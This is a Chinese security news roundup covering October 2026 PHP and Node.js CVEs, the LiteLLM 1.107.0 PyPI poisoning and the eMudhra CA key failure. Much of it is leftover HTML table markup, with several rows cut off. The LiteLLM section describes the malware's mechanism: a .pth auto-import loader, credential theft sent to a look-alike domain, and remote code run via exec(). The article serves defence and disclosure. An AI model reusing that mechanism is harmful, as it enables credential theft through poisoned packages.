204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">Node.js</span></section></td><td data-colwidth="252" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-rightLine truncated
## 目录
事件时间线置于正文开篇,不占用组件编号。
<table><thead><tr><th data-colwidth="96" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">顺序</span></section></th><th data-colwidth="148" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">组件</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">网传被提到的漏洞</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="96" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">1</span></section></td><td data-colwidth="148" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">PHP</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">php2shell两个未认证RCE;</span><code><span leaf="">CVE-2026-7568</span></code><span leaf="">整数溢出;</span><code><span leaf="">CVE-2026-6735</span></code><span leaf="">PHP-FPMXSS</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="96" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">2</span></section></td><td data-colwidth="148" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-stylLine truncated
## 事件时间线:九天窗口,不是“一夜之间”
本轮讨论横跨10月13日至21日。下面先列出近期事件,再列更早披露但在此期间被重新提到的CVE。
![01-night-timeline](https://mmbiz.qpic.cn/sz_mmbiz_jpg/rapaL0gDxQojoltTUNNYiblvHzz5qosf2AghqMwBa3lGiaOqtK5QZO9CGiaOgktQGjgIQ35ZvjpNJJRPuy9IqGTYUz7hz846f2LNDt2eauvFl8/640?wx_fmt=webp&from=appmsg "")
01-night-timeline
**图1**
 本轮漏洞事件时间线。
### 本轮集中事件
<table><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">日期</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">事件</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">说明</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">10月21日</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">PHP与Node.js安全更新;LiteLLM1.107.0投毒;VyperCVE记录</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">本轮主要新增事件</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">10月20日</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 2Line truncated
### 更早披露但被本轮引用
<table><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">日期</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">漏洞或事件</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">说明</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">2026年10月</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">snappy-java</span><code><span leaf="">CVE-2026-108106</span></code><span leaf="">;Go</span><code><span leaf="">CVE-2026-78667</span></code></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">JVM解压DoS与Range头CPU耗尽</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">2026年9月</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 20Line truncated
## 一、PHP:两个CVSS9.2的未认证RCE
PHP在10月21日发布8.5.12、8.4.27、8.3.36和8.2.35,修复两个CVSS4.0评分均为9.2的关键漏洞[1]:
![02-php2shell-tenable](https://mmbiz.qpic.cn/mmbiz_jpg/rapaL0gDxQrnRvpzgAE9xmZSpcQicVWiaQSJUepMoZ3m33FziaH8U4nRxGxW6piabKHcwYmQjX6wyb0ABAmUdy1bPlJnVLz48HdqA44sb22bdKY/640?wx_fmt=webp&from=appmsg "")
02-php2shell-tenable
**图2**
 php2shell。
<table><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">CVE</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">技术问题</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">风险</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CVE-2026-109618</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">OOM异常通过</span><code><span leaf="">longjmp()</span></code><span leaf="">退出上下文,请求内存尚未完全初始化,清理路径随后处理无效状态</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">可导致远程代码执行</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CVE-2026-109619</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-Line truncated
受影响范围覆盖8.2至8.5分支,凡处理Web请求的PHP部署均应视为暴露,包括PHP-FPM、mod_php
、php-cgi
、FrankenPHP和LiteSpeed。官方特别说明,mod_php
风险最高,攻击可以在业务代码运行前触发,应用层的登录校验和框架中间件无法拦截。PHP8.1及更早版本已不再获得项目的常规安全更新,长期方案仍是迁移到受支持分支[1]。
目前没有可替代补丁的完整缓解方案。无法立即升级时,只能按官方建议降低部分已验证攻击路径的可触发性:
```
memory_limit=-1post_max_size=8Msession.upload_progress.enabled=0fatal_error_backtraces=0
```
其中post_max_size
在上传场景可调整到32M,fatal_error_backtraces=0
适用于PHP8.5,同时应限制multipart字段和分段数量,并使用容器或cgroup限制整体资源。所有调整必须在PHP-FPM池或Apache配置层生效,并重启全部worker。上述配置只能阻断已确认路径,不能替代升级[1]。
截至10月22日,两个PHP漏洞尚未进入CISA的KEV目录,也没有官方确认的大规模成功利用[11]。公开报告提到的早期扫描和攻击尝试,不能直接等同于已经形成稳定在野利用。
> 参考
> 公众号:棉花糖fans[PHP的RCE目前有点难实战](https://mp.weixin.qq.com/s/8Tdj1_rZPA7utUgFP1ZLIQ)
PHP另有两条在2026年5月披露的历史CVE:
- CVE-2026-7568
:超长字符串输入导致metaphone()
发生有符号整数溢出,可造成越界读取和进程崩溃。
- CVE-2026-6735
:PHP-FPM状态页未正确清理用户输入,可形成XSS。
两项均修复于8.2.31、8.3.31、8.4.21和8.5.6。它们不属于10月21日的新RCE事件。
## 二、Node.js:10个CVE,三条版本线同时更新
Node.js在10月21日发布22.23.4、24.22.1和26.12.1,共修复10个CVE[2]。
![03-node-advisory](https://mmbiz.qpic.cn/sz_mmbiz_jpg/rapaL0gDxQrjaibr37tkD5GcW9lia375oMw7iaoDApKOM3wXuW8NAwkC7NdY7nJuraepHEbauFBia0CzialRdviahS1m6ahNYicgyVaU5KAeAUtb90/640?wx_fmt=webp&from=appmsg "")
03-node-advisory
**图3**
 Node.js安全公告。
<table><thead><tr><th data-colwidth="179" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">CVE</span></section></th><th data-colwidth="88" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: right;"><section><span leaf="">严重度</span></section></th><th data-colwidth="185" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">问题</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">影响分支</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="179" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CVE-2026-111497</span></code></td><td data-colwidth="88"><section style="text-align: center;"><span leaf="">High</span></section></td><td data-colwidth="185" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">Brotli解码器越界写,受影响调用路径可导致RCE</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">22/24/26</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="179" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(20Line truncated
其中CVE-2026-111497
需要优先处理,但不应表述为“任意Node.jsHTTP服务发送一个Brotli请求就必然失陷”。官方确认的是Brotli解码器存在越界写并可能导致RCE,实际可利用性取决于应用是否将不可信输入送入受影响解码路径。
Node.js这次同时更新了c-ares、OpenSSL、SQLite、Undici和根证书。其中OpenSSL更新针对24/22分支,SQLite更新针对22分支;c-ares、Undici和根证书覆盖22/24/26三条版本线[2]。对已停止维护的Node.js版本,项目不会提供对应补丁,应迁移到仍在支持的版本线。
## 三、LiteLLM1.107.0:安装依赖就可能执行后门
10月21日,LiteLLM1.107.0供应链投毒事件曝光。PyPI上的7个wheel均包含三个额外文件[6]:
```
cook.pthcook.pysitecustomize.py
```
cook.pth
只有import cook
一行。Python在启动时处理.pth
文件,sitecustomize.py
也会被自动导入,因此受影响环境无需执行import litellm
,恶意代码仍可能运行。这使排查、测试和修复本身也可能再次触发载荷。
![04-socket-cover](https://mmbiz.qpic.cn/sz_mmbiz_jpg/rapaL0gDxQr7VNH22q18Lx4Zo8D7rzVCOMaUZ1acaYlZBiaBdfkm5RcwAT8UJ2FedyPbeK1SOKPUDoLW2207GISuibvoBR19Ik1icGOtOJJthQ/640?wx_fmt=webp&from=appmsg "")
04-socket-cover
**图4**
 LiteLLM1.107.0恶意包告警。
恶意代码可收集AWS、Azure、GCP、Kubernetes、SSH、GPG、Git、npm、PyPI、浏览器、AI开发工具以及LiteLLM数据库中的凭据。数据经AES-256-CBC和RSA-4096加密后,被发送至仿冒域名litellm.dev
。另一个组件会定期从GitHub死信箱读取域名,再下载Python代码并通过exec()
执行。
需要特别区分两个事实:
- GitHub上的v1.107.0
Git标签本身没有载荷。
- 恶意wheel和镜像来自标签之后的未标记提交,构建溯源指向仿冒仓库Berri-AI/litellm
。
截至10月22日,PyPI、GHCR和DockerHub中的恶意标签均已删除,但发布入口如何被利用尚未完成调查。已经下载到本地缓存、CI缓存、私有镜像仓库或运行中容器里的历史产物不会随上游删除而消失。
已在可疑环境中运行过1.107.0的主机,应从可信产物重建,并轮换云平台、Kubernetes、SSH、数据库、CI/CD和模型供应商密钥。恢复时应固定litellm==1.106.2
或此前经过验证的明确版本,不要在受感染虚拟环境里先运行pip
或Python。
![05-socket-evidence](https://mmbiz.qpic.cn/mmbiz_jpg/rapaL0gDxQrMJ4agLUk6ZAG1TRBibJKZMicaXuxmbTEQNR40vY7CicjppgMhibXhDVg3YOC1icQROLJPEnH5WFK5pfvBHX4WVDH1sM8dsIV7GiaLY/640?wx_fmt=webp&from=appmsg "")
05-socket-evidence
**图5**
 LiteLLM恶意包检测详情。
LiteLLM还有两条旧CVE需要与本次投毒事件分开处理:
- CVE-2026-42208
:1.81.16至1.83.6的APIKey校验存在SQL注入,未认证攻击者可读取或修改代理数据库,CVSS9.8。
- CVE-2026-42271
:1.74.2至1.83.6的MCP测试接口允许低权限认证用户启动任意子进程,CVSS8.8。
两项均修复于1.83.7,并先后在2026年5月和6月进入CISA的KEV目录[11][12]。
## 四、eMudhra:真正的问题不是TLS算法,而是信任锚
eMudhra事件不是“TLS加密被攻破”,而是中间CA的私钥生成过程出现严重缺陷。8个中间证书虽然标称使用P-384密钥,但密钥生成流程实际留下了极小的有效密钥空间,研究者可以通过公开证书快速恢复签名能力,不需要破解384位ECC[3][13]。
2026年10月17日,研究者使用8个私钥分别签署测试消息,并向Mozilla和Chrome根计划提交证据。Chrome在数小时内通过CRLSet阻断相关中间证书,Mozilla在当晚通过OneCRL完成阻断。披露数据记录eMudhra于10月18日撤销8个证书,eMudhra的文字声明则将撤销日记为10月19日;Apple在10月19日、Microsoft在10月20日完成相应撤信。8个证书中,6个用于TLS,2个用于代码签名[3][13]。
### 影响边界
这件事的风险很高,但不能写成“全球HTTPS瞬间变成明文”。
- 根证书私钥没有泄露,受影响的是8个中间CA。
- Chrome表示,在撤信前,CT日志中没有发现通过6个TLS中间证书签发的恶意站点证书。
- eMudhra表示,8个中间CA没有签发终端证书,未发现数据泄露或基础设施失陷[13]。
